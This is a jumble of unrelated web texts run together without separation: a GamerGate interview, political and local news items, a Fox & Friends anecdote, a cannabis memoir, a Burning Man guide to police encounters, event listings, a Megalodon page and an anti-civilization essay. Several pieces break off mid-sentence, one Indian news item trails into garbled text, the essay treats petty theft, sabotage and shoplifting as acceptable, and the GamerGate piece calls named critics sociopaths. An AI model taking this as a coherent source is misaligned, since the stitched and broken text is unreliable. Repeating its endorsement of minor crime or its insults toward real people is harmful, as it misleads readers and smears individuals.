That being said, what I truly find mind-bogglingly incomprehensible is how anyone out there can possibly still support the anti-GamerGate side in good conscience when many of its key figures routinely engage in behavior that quite jarringly contradicts the very narrative they’re claiming to embrace.
It makes no sense for Anita Sarkeesian to express her disdain for the “Damsel in Distress” trope by stating that “a large percentage of the world’s population still clings to the deeply sexist belief that women as a group need to be sheltered, protected, and taken care of by men” and that “damseled female characters tend to reinforce pre-existing regressive notions about women as a group being weak and in need of protection because of their gender”, but then proceed to damsel herself by publicly broadcasting all the abuse she receives while claiming that “male allies are essential in the fight for gender justice” and “‘White Knight’ is a slur used to discourage men from taking a stand”. You can’t have it both damn ways.
It’s hypocritical to make headline news out of any harassment that women you favor, such as Zoe Quinn and Anita Sarkeesian, receive and trumpet it around as proof of misogyny in the gaming community, yet be so completely silent about the abuse received by women who don’t support your agenda that the sound of crickets chirping is almost deafening. Twitter and YouTube personality Jayd3 Fox was briefly driven offline after making a video parodying Sarkeesian. Respected equity feminist Christina Hoff Sommers was smeared, misrepresented, or libelled by no less than four video game media sites and a blog post by BioWare developer Damion Schubert after releasing a Factual Feminist video supporting gamers. And the women of #NotYourShield were accused of either being sockpuppets or having internalized self-loathing…assuming that their existence was even acknowledged at all. This double standard is among the most sexist and insulting things I’ve ever witnessed in the nearly two decades that I’ve been online.
And finally, it’s incomprehensible that The Fine Young Capitalists, a self-professed “radical feminist group” which managed to raise over $70,000 in order to help one of five women realize her dream of making her own video game – thus not only promoting the entry of women into the video game industry but also encouraging them to pursue leadership roles in it – and was willing to donate most of the remaining proceeds to charity, would be almost completely invisible to the gaming press considering that they sound like the perfect poster child for all the goals and values they believe in. That is, of course, unless a misunderstanding between TFYC and one of the gaming press’ media darlings resulted in their being mistakenly labelled as transphobic and misogynistic, blacklisted, DDoSed on at least two separate occasions by parties unknown, and initially cost them $10,000 in sponsorship money after an investor withdraw his support due to the controversy. Favoritism at its absolute worst.
Quite frankly, when you look at the actions of many of the prominent figures on the anti-GamerGate side, several descriptions come to mind. Narcissists. Sociopaths. Self-serving hypocrites trying to score points with the social justice crowd and smearing anyone who gets in their way. Ideologically blinded or morally bankrupt individuals trying to advance their careers or those of their friends by promoting an agenda or a widely agreed-upon narrative. The only real interest they have in social equity, women, minorities, and the LGBTQ community is using them as a shield to deflect criticism from themselves and validating their own self-righteousness in the process. And that is utterly disgusting.
GamerGate has more than its fair share of trolls, but they tend to be the outliers, the nameless faces in the crowd, the statistical anomalies, and the “little people”, not the most visible, prominent, and public faces of the consumer revolt. And these troublemakers are called out whenever they’re found. But when many of the other side’s key representatives are the ones doing the trolling, with one of the most vocal ones referring to her target audience as “obtuse shitslingers”, “wailing hyper-consumers”, and “childish internet-arguers” and no one else even thinks of calling her out on her inappropriate behavior…well, that silence just speaks volumes, doesn’t it?
Bottom line: If you want to improve the way women are represented in video games, do it right. Results may be slower to appear, but it’ll be a victory well earned and admired by everyone. A quick fix achieved through temper tantrums and mudslinging is a shallow, band-aid solution at best and will earn the ire of many people who might’ve otherwise been willing to help.
GN: Where can people find information on your project?
Lunar: To keep things simple, I’ve condensed all of the relevant information about it into an image file attached to a stickied tweet on my Twitter account: @LunarArchivist. For a more detailed set of instructions, essay submissions guidelines, and to (eventually) view the poll results, please visit the project’s homepage at princessesarepeopletoo.tumblr.com or write to me at princesses-and-shields@hotmail.com.On the front lines of combating climate change is Caltech aeronautic and bio-engineering professor Dr. John Dabiri. Searching for energy sustainability solutions, he’s taking cues from some simple animals.
“The name of the game here is how you generate energy and how you consume it,” Dabiri told “TechKnow.” “And in biological systems—whether it’s a school of fish in the ocean, a flock of birds, or just a plant growing in a field—they’ve come across ways to very efficiently generate energy and to consume it efficiently as well. So our goal is to use concepts from physics to extract how they do that and apply it to systems like wind energy and underwater vehicles.”
The common wind turbines seen around the world producing energy are the large, three-bladed propeller type. But Dabiri is re-thinking their size, shape, and overall effectiveness.
“The challenge you see in wind energy is that an individual wind turbine—although it might be very efficient—creates a very choppy air behind it,” he says. “One of the challenges we have on a wind farm then is to arrange them to deal with that turbulence.”It's been more than eight months since the presidential election, but Hillary Clinton is currently featured on the homepage of Fox News.
The news outlet, in the middle of news about Russia and a failed health care bill, lead with an image of the former politician, who has mostly stayed out of the spotlight since losing the presidential election in November. And the story wasn't even directly about Clinton, either.
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[caption id="attachment_14797055" align="alignnone" width="300"] Fox News screenshot[/caption]
In a story titled, "USPS broke law in allowing working to boost Clinton campaign, watchdog says," Fox News sought to somehow tie Clinton to a July 14 investigation by the Office of Special Counsel, which found that the U.S. Postal Service violated the Hatch Act by "facilitating and directing carrier releases for the [postal workers] union’s political activity."
The headline of the story was also misleading, implying that the USPS was actively trying to aid the Clinton campaign, which the report stated was not the case.
"OSC's investigation did not determine" that "USPS officials helped NALC identify or select carriers to participate in the Labor 2016 program. The evidence also does not support a finding" that " USPS officials sought to assist NALC's favored candidates in achieving electoral success," the report said.
"Rather, the evidence suggests that USPS's practiced to engender goodwill in its working relationship with the union. The record also reflects that the NALC-USPS practice is long-standing, going back many election cycles, and perhaps started in the 1990s. USPS management is not aware of complaints or concerns about the propriety of the practice prior to 2016."
The only portion of the report from that paragraph cited in the Fox News article was that the practice was long-standing.
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But Fox News has been focused on Clinton in other ways as well. On Tuesday night Fox News host Sean Hannity was talking to a panel of guests about crimes Clinton has allegedly committed. Fox News anchor Gregg Jarrett ranted about a long list of alleged criminal actions.
"It is a crime, a felony, to use your public office to confer a benefit on a foreign government in exchange for money. It’s called fraud and bribery. It’s an Emoluments Clause violation, public corruption, it’s also arguably racketeering to use a business as a receptacle for illegal money. All of those are crimes," Jarrett said.
On Wednesday, Fox News stopped talking about Clinton directly. Their top story turned to the news that "Rep. Debbie Wasserman Schultz plans to allow federal investigators to scan a laptop belonging to her as part of a complex probe into allegations of computer theft, over-billing and possible email hacking."
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The investigation into Wasserman Schultz's computer being hacked was not related to the hacking of the Democratic National Committee emails last year.Let’s start with this:
“Joining us now for a fair and balanced debate, Brian Ambrozy…”
That’s how I was introduced recently on Fox & Friends, a morning talk show on the Fox News Channel.
Let’s rewind a bit. CB Droege broke the story about the NEA making grants available for game developers. A cool story, and a long time coming. It made headlines around the web and is worthy of discussion. Apparently Fox agreed and asked me to come onto Fox & Friends to discuss and debate the merits of these grants with “Truth for America” radio host Neal Asbury.
I knew this would be a great opportunity for Icrontic to get some exposure, but more importantly, I knew immediately what their agenda was. After I did some cursory research into Asbury and the show itself, I knew damn well that they simply wanted to shout at their audience falsehoods about tax increases for video gaming. I knew immediately that the words “Call of Duty” would be mentioned in this piece, even though it has absolutely nothing to do with the discussion.
Initially, Fox told me that the piece would be five minutes, and that I would have at least two minutes of talk time. I thought that sounded fair as I began to prepare my points. I posted a thread on Reddit to see what other gamers thought about the issue and to get some advice on talking points.
My friend Ryan Meray gave me the best advice of all: Go watch a few Jon Stewart clips to see how they feel about Fox & Friends. The night before I went on, I saw the clip of Jon breaking down Gretchen Carlson, and it reminded me of one very important point: These are people just like you and I.
I had a bit of anxiety the night before the appearance; the limo was picking me up at my house at 5:45 in the morning, so as I laid in bed, my mind kept mulling over all the suggestions I got from friends, Redditors, and Jon Stewart’s piece. I distilled it down to a key point: video games are art—I believe that and can speak passionately about that, so I should be okay. Anything they threw at me beyond that was pointless and I would use logic and passion to defend my position.
As it happens, the entire morning was a rush. The studio was in Ann Arbor, Michigan because that was the closest studio Fox could find with a satellite uplink. The studio consisted of one man, a small room with a camera and lights and some satellite equipment, and myself. And some good coffee. He sat me down, lit me, powdered my face, mic’ed me, and put my earpiece in.
A technician came on over the earpiece and explained how it would go down. Another producer came on and verified the pronunciation of my last name. She said I sounded good and she’d let me know as we were about to go on.
If you listen to the original clip, as it aired, the moment they start playing the Call of Duty clip, you hear a woman’s voice say “Kind of get to know them…” That was the producer I was talking to, and apparently she was caught off guard as much as I was. We were live, without any prep. That’s why I look so pissed off when the camera starts rolling. So somebody jumped the gun at the studio, and we were live without being prepared.
When the host said “Should the video game ‘Call of Duty’ get Federal funding?” I knew immediately that my course was set. There would be no intelligent discourse. There would be no valid discussion, or valid points. They opened with a complete and utter falsehood right from the top. It calmed me immensely, because I knew I had truth on my side.
The “interview” speaks for itself. If it seems truncated, that’s because it was. If Neal Asbury seems overblown and completely off-topic, it’s because he was. You could tell his entire argument revolved around ping-pong, and that he had nothing more to contribute than that. It was actually somewhat insulting that he had so little regard for this topic, and of the “arts” he so claims to “love”, that he didn’t even bother preparing any actual on-topic material. Ping-pong, indeed.
Bereft of anything intelligent to contribute, he immediately fell back to the “Obama raising taxes” and veiled rapture hints (“Maybe there is no tomorrow”…?) There was no point in having me on at all, other than to be able to claim they had “fair and balanced” coverage.
When I realized that I wasn’t talking to anyone who cared about anything I had to say, I felt that I was there only to speak to you guys and gals: Intelligent, rational gamers who understand what this is really all about. I got my jabs in (“I’m talking to people who are entertainers..”) so I’m okay.
The real story
The debate will be forgotten in a few days as my fifteen minutes of internet fame fades away. That’s the way these things go. There is, however, a bigger story here.
People have been talking about Fox and its clear conservative and right-wing leanings for years now. However, it’s hard for many people to relate to what that actually means. We are in the middle of a media generation gap; Fox & Friends is not watched by you guys. This is a Saturday morning show watched by millions of older people who have no connection with us and who don’t even know these conversations are taking place. At the same time, people from our world and our generation only know how Fox is anecdotally.
This story connected with us, as a culture, and really drove the point home; now it’s personal. Now we truly understand the depths to which “media” has sunk in the cable television world. I’ve seen many cries of outrage over the treatment this topic got because it is important to us. The real story here is that Fox and other cable news networks are doing this on a daily basis. This is media brainwashing of the highest order—the people who watch this show on a regular basis see this garbage every day. It seems absolutely outrageous to us, now that they’ve spoken about something we understand and care about, but this is standard order for these shows.
Perhaps this is the first time people will see this kind of television and say, “But wait, I know for a fact that what they’re saying is not true!” and they will be able to see the twisting of words that takes place on these types of shows.
Maybe it took video gaming to shake us all out of our echo chamber and realize that in America, this is what a great many people believe. If anything, it’s what I got out of this experience, and my hope is that other people realize it too.Confession Bear
here's the thing. you said a "jackdaw is a crow." is it in the same family? yes. no one's arguing that. as someone who is a scientist who studies crows, i am telling you, specifically, in science, no one calls jackdaws crows. if you want to be "specific" like you said, then you shouldn't either. they're not the same thing. if you're saying "crow family" you're referring to the taxonomic grouping of corvidae, which includes things from nutcrackers to blue jays to ravens. so your reasoning for calling a jackdaw a crow is because random people "call the black ones crows?" let's get grackles and blackbirds in there, then, too. also, calling someone a human or an ape? it's not one or the other, that's not how taxonomy works. they're both. a jackdaw is a jackdaw and a member of the crow family. but that's not what you said. you said a jackdaw is a crow, which is not true unless you're okay with calling all members of the crow family crows, which means you'd call blue jays, ravens, and otherGetting high enriched and enlivened these walks. Random images (patterns of sunlight and shade, the roots of a granddaddy oak) could be uncommonly gripping. Because the walks were more eventful, they felt longer. What a godsend it was for the incidental shut-in to be able to conjure these illusions of unlimited space.
Often I took Anne on road trips, to stimulate our aging brains. In the mornings, while she meditated in our motel room, I hiked around the neighborhood, through the parking lots of strip-mall America. The terrain was always shockingly disabused of its natural character. But I took those walks stoned. So one setting was just as compelling as the next: marching through the shadows of the KFC bucket and the Arby’s hat, then back into sunshine again, through the Toyota dealer’s lot — the Camrys posing with their doors flung open like a chorus line — past a payday-loan shop, a Cracker Barrel, an abandoned Kmart, a pawnshop, a Petco, their parking spaces separated by paltry no-man’s-lands of spoiled grass.
Before Anne got sick, I was a travel writer who got sent away on expeditions to New Guinea and Madagascar. Now, working the seams between one mall and the next, I didn’t have to go to the ends of the earth to have experiences that would open my eyes. Marijuana excels at helping the wanderer see beauty in the ordinary.
At home, I had a dinnertime ritual. Anne used to be a superb cook, but we had a new division of labor now — every job mine. So first I helped her to get settled on the couch upstairs. Then, down in the kitchen, the recipe was simple: one big suck on the bong. After that, how easy it was to get absorbed (chop, chop, sizzle, sizzle) in the satisfactions of completing each chore and the free-range adventures of an untethered mind.
Potheads come in a wide variety of disguises. We have stoner athletes and doctors and cops and welders and famous astronomers (we miss you, Carl!). I am charting my own course, as a stoner helpmate: chronically chipper, resilient on demand, fully rechargeable and unmatched at keeping myself amused for long stretches of downtime.CHICO — The bomb squad Monday detonated what looked like a pipe bomb, but it turned out to be a galvanized pipe full of marijuana.
The object prompted the evacuation of three apartment buildings at Mission Ranch Apartments, 400 Mission Ranch Blvd., from about 1:15 p.m. to about 4:30 p.m.
A maintenance worker inspecting an upstairs apartment where the tenant had been evicted found the object in a kitchen drawer, said Sgt. Mike Nelson.
He grabbed it and walked out before realizing that it could have been an explosive.
The man then set it down on the apartment’s banister and called 9-1-1.
The device was a 6-to-8-inch galvanized pipe threaded with screw-on caps on both ends. There were no wires attached.
The Butte County Interagency Bomb Squad was called by the Chico Police Department after Nelson and officer Don Finkbiner investigated and photographed the device.
It was nerve-wracking going up to a potentially explosive device, Nelson said.
Although the device had not been confirmed to be an explosive, the bomb squad was called to be sure, Chico police Lt. Mike O’Brien said.
Bomb squad technicians arrived at about 3:40 p.m. and set up for less than an hour before detonating the pipe at about 4:20 p.m.
Once the item was cleared, it was learned that the pipe was not an explosive device, Nelson said. However, it was found to be “stuffed full of marijuana.”
The pipe resembled an item used to extract or manufacture honey oil, he said.
Chico police will follow up on the case and investigate the potential manufacturing of honey oil, Nelson said.
Neighbor Lucille Kubik, who lives next door to where the pipe was found, was alerted she needed to vacate her residence soon after the find, she said.
Kubik didn’t have any direct contact with her next-door neighbor, who had only been there two months, but she said she noticed some “bad elements” there.
There were a lot of men reportedly coming and going at all times, Kubik said. The activity allegedly seemed drug-related.
There appears to be one tenant on the lease, but there were other people staying who were not supposed to be living there, O’Brien said. The tenant was evicted Friday, but it didn’t appear to have been over a major problem.
Chico police had not contacted the evicted tenant by the time of the detonation.
For video of the recovery and detonation, go to http:goo.gl/tldtcX.SAN JOSE — There was a time when Juan Diaz wouldn’t step foot inside a local library. The 24-year-old carpenter owed hundreds of dollars in late fees and additional fines for 35 books he lost over four years — many of which were eaten by his beloved but mischievous husky, Thena.
“It made me avoid the library because I know I can’t check a book out,” Diaz said.
Diaz, who has since paid off his penalties, is not alone. The city’s library system is facing a staggering and mounting $6.8 million in unpaid fines across its 23 branches — the most library director Jill Bourne has seen in nearly three years on the job. That figure is roughly five times the amount of unpaid fines racked up a few years ago in Chicago, a city nearly three times San Jose’s population. It also exceeds unpaid fines at public libraries in other major Bay Area cities such as Oakland, which has $3 million in outstanding fines, and San Francisco, which stands at $4.6 million.
A whopping 39 percent of all San Jose library cardholders — about 187,000 accounts — have racked up fines, and it’s only getting worse.
Now city officials are talking about everything from reducing fines, which are higher than at other Bay Area library systems, to an amnesty program to lure patrons back, effectively declaring it’s more important to get residents and books back into the libraries to promote literacy than to punish patrons for overdue materials, even if it means giving up some badly needed revenue. The city would not identify those with unpaid fines.
“It’s not going in the right direction,” Bourne said, adding that the amount of unpaid fines is not only the highest she’s seen since taking the job three years ago, but also more than she ever saw in San Francisco and Seattle, where she’d worked before coming to San Jose. “We’re not offering the right solutions.”
Bourne says the city should look at the fee amounts, which haven’t been altered since 2010, when city leaders doubled them. Today, residents are charged 50 cents each day an item is late, up to $20 per item. The biggest fine is levied when materials never come back — the cost of the item, plus a $20 “handling fee.” The library also charges a $3 fee when items are placed on hold but never picked up. Some of the fees help pay for staff time, while others go into the general fund.
Compared with San Jose, public libraries in San Francisco and Oakland charge residents far less in fines and fees. Residents in San Francisco pay 10 cents per day for late items, but it caps at $5. Seniors get a discount, and youths under 17 are excluded. There’s a $5 processing fee for lost items, compared with San Jose’s $20 fee.
In Oakland, residents pay 25 cents per day for overdue books, with a $6 maximum and no processing fee for lost items.
Councilman Pierluigi Oliverio suggests the city offer an amnesty program — forgive existing fines to bring people back.
Diaz thinks it’s a great idea and hopes city leaders make it happen.
“Some of the books aren’t even worth $20,” he said, “and people don’t want to come back.”
Library cards in San Jose are blocked after patrons amass $10 or more in fines. Nearly half of all youth and teen accounts have some unpaid fines, Bourne wrote in a recent report to city leaders.
Oliverio says it’s critical to “welcome back” cardholders who’ve been shut out because of fines, especially children who rely on the resources. He proposes a library amnesty program to forgive penalties for two weeks — but only if people return the outstanding materials.
It’s not a new idea, and amnesty programs have worked in other big cities, such as Chicago, Seattle, Los Angeles and San Francisco. But it’s never been tried in San Jose.
“If we’re not collecting the money and you’re restricting people from the library, shouldn’t we have an alternative to welcome these people?” Oliverio said, adding that the value of the returned materials during an amnesty program typically outweighs the late fees.
For example, Chicago Public Library’s three-week amnesty program in 2012 retrieved 101,301 overdue items, valued at approximately $2 million, and waived $641,820 in fines out of the $1.4 million total owed to the library. Over 40,000 patrons got their library cards reinstituted.
Bourne agrees that the value of returned items outweighs fines, and the amnesty program was successful when she was a librarian in San Francisco, but she says that’s only part of the solution. It helps only those who can actually find the missing book or video — and those “lost items” make up only 9 percent of the total unpaid fines.
But Bourne acknowledges the fees “add up quickly” and educators tell her that some parents stop their children from getting library cards because they fear accruing fines.
Last August, the library launched “teen cards,” which can be obtained without a parent and give teens limited checkout abilities but full access to online resources. About 400 teens have signed up.
Other solutions proposed by Bourne include reducing or waiving fines for youths or allowing people to bring in a brand-new book to replace a lost item. People can also volunteer their time or read to pay off fines, she suggested.
But one longtime library patron thinks it’s unfair to forgive other people’s fines and fees.
“People have to learn the hard way,” said Eddie Acevedo, 60, while browsing Spanish books at Joyce Ellington Branch Library on Thursday. Acevedo says he’s never been late in returning a book. “Some people have no discipline.”
Contact Ramona Giwargis at 408-920-5705. Follow her at Twitter.com/ramonagiwargis.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Britain's Foreign Secretary Philip Hammond told parliament on Wednesday that Israel would not have been satisfied with any kind of nuclear deal with Iran, dismissing criticism of the agreement struck between Tehran and foreign powers.
"The question you have to ask yourself is what kind of a deal would have been welcomed in Tel Aviv. The answer of course is that Israel doesn't want any deal with Iran," Hammond said in response to an opposition legislator who said he objected to the agreement and cited dismay in Tel Aviv.
"Israel wants a permanent state of stand-off and I don't believe that's in the interests of the region. I don't believe it's in our interest," Hammond said.The Iran Deal: The biggest deal of our time?Earlier on Tuesday, German Foreign Minister Frank-Walter Steinmeier also criticized Israel's opposition to the deal, saying the agreement will help contribute to security in the Middle East."This is a responsible deal and Israel should also take a closer look at it and not criticize the agreement in a very coarse way," Steinmeier told German broadcaster ARD in an interview on Wednesday.Prime Minister Benjamin Netanyahu has described the deal as a "stunning, historic mistake" and said it would enable Iran to pursue a path to nuclear weapons.Hammond said on Wednesday that Britain hopes to re-open its embassy in Iran before the end of the year, following the agreement."I very much hope that we will be in a position to re-open our respective embassies before the end of the year," Hammond said. The re-opening was dependent on resolving some technical issues, he added, without elaborating.Diplomatic relations were suspended and the British embassy was closed after hundreds of Iranian demonstrators stormed the building in November 2011.Hammond also said he had spoken to British finance minister George Osborne to ensure that the country was ready to capitalize on the "quite substantial" business opportunities that would arise from the diplomatic agreement.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>The grey building on Bahadur Shah Zafar Marg, New Delhi’s Fleet Street, is built like a cuboid. The small parking lot in front is cramped with cars and bikes throughout the day. There is a Metro station coming up across the road. The broad staircase leads to a lobby. At its end, there is a giant-sized black-and-white photograph of Jawaharlal Nehru, the first prime minister of India. His photograph is here because this is Herald House, the headquarters of National Herald, the newspaper Nehru had started in 1937. This seven-storey building is now at the centre of a huge controversy that involves Sonia Gandhi, Rahul Gandhi, the and sundry others, and was uncovered by Subramanian Swamy, president, former Harvard professor, ultra-rightist and old foe of the Gandhi family.
This prime property, Swami has alleged |
was.
Say No to Search Requests Never consent to a search of your person, car, RV, camp or tent. Simply say: “Officer, I do not consent to a search.” Say no more, no less. You are under no obligation to consent to a search. Keep any private items that you don't want others to see out of sight. Police do not need a search warrant in order to confiscate any illegal items that are in plain view. The only reason an officer asks your permission is because he doesn't have enough evidence to search without your consent. If you consent to a search request you give up one of the most important constitutional rights you have: your Fourth Amendment protection against unreasonable searches and seizures. Make sure EVERYONE in your camp knows these rules as well. Law enforcement can ask the other people in your car or camp for permission to search. Never consent to the search of anyone else’s property. You should all sing the same song: “I do not consent to a search.” Even if they threaten you with arrest, or threaten you with bringing a sniffing dog, continue to say “I do not consent to a search”. Even while they are searching you or your stuff, you guessed it, “I do not consent to a search”.
Being Frisked When an officer has lawfully stopped you, they may proceed to pat down your outer clothing for the purposes of detecting concealed weapons that may pose a safety risk to the officer. This is called the “stop and frisk” exception to the warrant requirement. During the patdown, a police officer is allowed to seize any other evidence, such as a concealed drug container, that can be felt through your clothing. If you find yourself in a “stop and frisk” situation there are a few things you can do. Remain calm. Please try to remember that yelling at a police officer or posing any sort of additional threat to the officer will not help your case.
Please try to remember that yelling at a police officer or posing any sort of additional threat to the officer will not help your case. Keep asserting your rights. It’s always okay to continually keep stating that you did not consent to a search of your person. This can dramatically increase your chances of the evidence being thrown out in court.
Protect your belongings Always keep your burning man home closed when you are not there. If possible, use a lock. You may want to use a cover to block transparent windows, so that curious bypassers cannot look inside. If you close your resting place, law enforcement needs a warrant to open it or your consent. If law enforcement presents a warrant, comply, and seek help from a lawyer. If no warrant is presented, say “I do not consent to a search.” Anyone that has routine access to your dwelling can give consent for a search, so make sure to share this guide with them!
Being Detained If you’re being detained, questioned or otherwise restricted in your movements, ask the law enforcement agent whether you are free to go. Calmly keep asking “Am I free to go?” until you get to yes. As soon as you are told that you are free to go, walk away. If you are told that you are not free to go, ask whether you are being arrested. Unless they say yes, ask whether you’re free to go. Repeat as necessary.
Being Arrested If you are being arrested (a good way to know is being told: “You are under arrest.”), or you think you have been arrested, immediately say the following: “Officer, I'd like to remain silent and I'd like to speak with a lawyer.” Then, contact a lawyer. (I am not a licensed attorney, not your attorney, and this post is in no way monetized). Do not physically resist a search or an arrest. You may state clearly but non-confrontationally: "Officer, I am not resisting arrest and I do not consent to any searches." Do not volunteer any other information. You have nothing to gain. You may be told that cooperation will make things easier for you, and many people hope to be let off easy if they are honest and direct with the police. Do not let the threat of arrest scare you into admitting guilt. Don’t say anything to anyone but your lawyer. Now that you’ve invoked it, use your right to remain silent.
Beware of stings There will be undercover police officers in Black Rock City, so obey the law. If you are running a bar, verify the ID of any individuals that you are serving. Even if you don’t have a bar, don’t give alcohol to anyone without asking for an ID to verify their age. If anyone asks you about drugs, remember: you don’t know about drugs, you don’t have drugs, you don’t use drugs and you certainly never supply drugs. Only at burning man might you end up being arrested by an LED-clad hula hooping undercover agent with angel wings. Don’t let it happen to you.
Drugs at Burning Man http://www.lawyersforburners.com/ notes: Take great care while entering the Event and while driving to your camp on Gate Road, the outer ring of the Event. In recent years, the BLM has shifted its drug enforcement efforts from patrolling inside the Event to stopping vehicles as they enter the Event. The BLM has used motor vehicle stops as a pretext to search vehicles for drugs. Once your vehicle is stopped, the BLM typically has a drug dog nearby to “sniff” your vehicle and “alert” to the presence of drugs. The Black Rock Desert National Recreation Area is public land regulated by the federal government via the Bureau of Land Management (BLM). The BLM headquarters in Washington, D.C. oversees the agency’s law enforcement in the Black Rock Desert.The Pershing County Sheriff and BLM are on site to enforce all applicable federal, state and local laws. This is important, because under the new US administration, tolerance for drug offenses has lowered significantly. On Aug 3 2017, the NYT noted: “Brett Tolman, a former United States attorney in Utah during the administration of George W. Bush, said Mr. Sessions’s policies on criminal charging and sentencing had already drastically affected some of his clients in federal cases not just limited to drugs. In conversations with assistant United States attorneys around the country, Mr. Tolman said, the prosecutors cited Mr. Sessions’s directives in refusing to negotiate in situations they previously would have.”
Flying your drone So you want to fly your drone at burning man? Great idea, but you should know that Burning Man maintains a policy and requires registration for Remote Control Aircraft in and around Black Rock City. The FAA requires that all operators of remote control aircraft flying within 5 miles of an airport notify that airport. Because almost all of Black Rock City is within 5 miles of Black Rock City Municipal Airport, registration is a requirement. Some key rules of operation include: Maximum altitude of 400 feet above ground.
No First Person View flying (no flying based upon video stream, rather than direct sight).
Flying over crowds is prohibited. Maintain at least 25 ft. horizontal separation from people.
No operating RC aircraft while intoxicated.Admission is free and we'll pass the hat for donations.
Suggested donation $5-20 supports the musicians.
This event is 21+
Classical Revolution Chicago is pleased to host Two Star Symphony from Houston TX. We will open the night with selected assorted chamber music performed by local musicians. Two Star Symphony will perform at 10 PM.
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Two Star Symphony is a string quartet performing all original music. Two Star won “Best Indefinable Band” at the Houston Press Music Awards in 2009, 2010 and again in 2015, performed at the 2010 and 2011 SXSW Music Festival, and were featured speakers and performers at the 2010 TEDxHouston conference.
Two Star has composed original scores for releases from Lionsgate Films and the Brooklyn Academy of Music and performed under commission with dance companies including Dominic Walsh Dance Theatre, Whim W’Him, and American Ballet Theatre’s Studio Company. Two Star has received coverage ranging from the Houston Press, Austin Chronicle and Texas Monthly to the Seattle Times, Huffington Post, New York Times, and Spin Magazine.
https://twostarsymphony.bandcamp.com/About
Fabricio Werdum has one of the most epic careers in all of Mixed Martial Arts history. He has fought in Pride FC, Strikeforce, and the UFC. He was the first mma fighter to ever submit Fedor Emelianenko, the Russian legend that dominated the heavyweight division for nearly 10 years.
Fabricio Werdum Shocks the World Submitting Fedor in 69 seconds!
It is our goal to produce a documentary that raises the bar for sports documentaries, blurring the lines between a documentary and a narrative feature film. Think "Warrior" and "The Fighter" meets "City of God". Most importantly, we want to capture the warrior philosophy and spirit that holds Werdum and his team together. His life is a story about facing seemingly insurmountable odds and overcoming adversity.
We are looking to raise at least $100,000 to produce and distribute the Fabricio Werdum Documentary. These funds will cover the following:
Crew Travel Expenses
Production Sound
Post Sound Work
Scoring of the Film
Coloring and Editing of the Film
Film Festival Submissions
A limited Theatrical Release in New York and Los Angeles in order to qualify for the Academy.
The final product will be available in a variety of languages to reach the international fanbase that has supported Fabricio his entire career.
Werdum defeats Travis Browne to Gain UFC Title Shot!
Our colorist has worked on Academy Award winning films and I am confident that this footage will truly grab the audience. In the last few years, Anderson Silva and George St. Pierre have released documentaries that have secured distribution. Ultimately, it is up to MMA fans around the world to demand that this film is created and made available to the masses!Megalodon Compared with
Other Giants
At a length of more than 50 feet (15 metres) and a mass of nearly 50 tons (tonnes), Megalodon was both larger and heavier than Tyrannosaurus rex.* In fact, Megalodon is the largest predatory fish that ever lived and is second only to the Sperm Whale (Physeter macrocephalus) as the largest predator our planet has ever produced. It is therefore interesting to estimate a few key measurements, based on Gottfried, Compagno, and Bowman's reconstruction. In a Megalodon with a total length of 52 feet (15.9 metres), the first dorsal fin would be over 5.5 feet (1.7 metres) tall, the pectoral fins would each be over 10 feet (3.1 metres) long, and the tail would be over 12 feet (3.8 metres) tall. The girth (maximum diameter) of such a shark would be about 32 feet (9.7 metres). It's not too hard to imagine a shark ten feet (3 metres) long, but how about one 10 feet thick? If you could see a 52-foot Megalodon from above, it would measure more than 30 feet (9.5 metres) from pectoral fin tip to fin tip. It is difficult to think of such a creature as a fish - more like a city bus with fins! And let's not forget a mouth big enough to swallow a rhino, and armed with teeth up to 7 inches (18 centimetres) tall.
Click on any animal below to see more information on its identity, maximum size and a little about it.
Giants: Past and Present
* = T. rex is no longer the largest carnivorous dinosaur; that distinction is held by Gigantosaurus carolinii. T. rex is used here due to its familiarity. Besides, no matter who's the biggest, T. rex is the hands-down favorite of most dinosaur enthusiasts.“Man the warrior” is a myth. Natural man is not prone to war. Hobbes was wrong. He projected his own nasty, brutish civilization onto human nature. It turns out, Hobbes was only interested in protecting the establishment, in which he was so invested. Hobbes was a proto-neocon, an early FOX News analyst, without the blonde hair extensions and ample breasts. A propaganda piece to promote the rounding up of domestic “rabble” and the murdering of unprovoked foreign enemies, all in the name of Blessed Order
If man is by nature a warrior, why do the vast majority of people live their lives free of violence? Peace is the norm; war is the exception. Anthropologists tell us that not until property appears, followed by surplus, hierarchy, administration, religion and State, do humans show warrior tendencies. That’s a mere ten thousand years of a two million year evolution.
Until property and the nervous pride of ownership, primal people typically and wisely walked away from conflict. They would relocate to another space to discover what lie over the next hill. Why die for abundance here when one could live in abundance in the next valley? But civilized man postures, arms himself, sings his national anthem, fights and dies – millions of them.
Here’s a fair question: Does civilized man have any other choice but to war in this land of artificially – imposed scarcity? The wild game, nuts, fruit and berries have been destroyed. In their place is field upon poisoned field of industrial corn and soy not fit to eat? Who can glean a soybean field and fill his belly for the day? There seems to be nowhere to go. Everything is owned, enclosed. Where is a free man to roam?
Here’s a fair answer. One issue underlies all of our problems. There are just too many damn people in the world. Be fruitful and multiply? Check that one off your list, good Christians. You have been good and faithful and prolific servants. Please don’t count your fertility as righteousness. Your proliferation is a symptom, a consequence of the property, sedentarism, and surplus of your agricultural revolution. Remember, God favored the hunter-gatherer Abel, not Cain, murderous Cain. Now that Cain’s agricultural revolution has morphed into Tubal-Cain’s industrial nightmare, and Nimrod’s perpetual war-machine, your short-lived surplus has turned to scarcity.
Undeterred by the imprisonment of the world by the shackling spell of civilization’s religion, State and endless toil, feral Jesus said to to go, walk, and take little or nothing with you. And don’t be afraid. Sell your possessions and give to the poor, those cursed sedentary dependents of the State. You won’t be doing them any favors, other than keep them attached for one more day to the sow’s teat. But you will do yourself a world of good. Don’t hang your head and walk away sulking. Lift up your hearts, click your heels. You are free! At least in your mind.
Now comes learning the gentle art of tramping, Learning how to be free without as within. It is no easy life, tramping in the great enclosure, where every square inch of earth is surveyed, staked, deeded, and defended by the local sheriff. I suppose there will be some illegal activity involved to survive your holy tramping: Petty theft, sabotage, a fence cut, an item shoplifted. You’ll need to lower yourself to employment now and then. The sedentaries will be suspicious of you. They will loathe you. They will persecute you, call you lazy skanks, because you are free and unbathed. You’ll spend time in their jails and mental institutions.
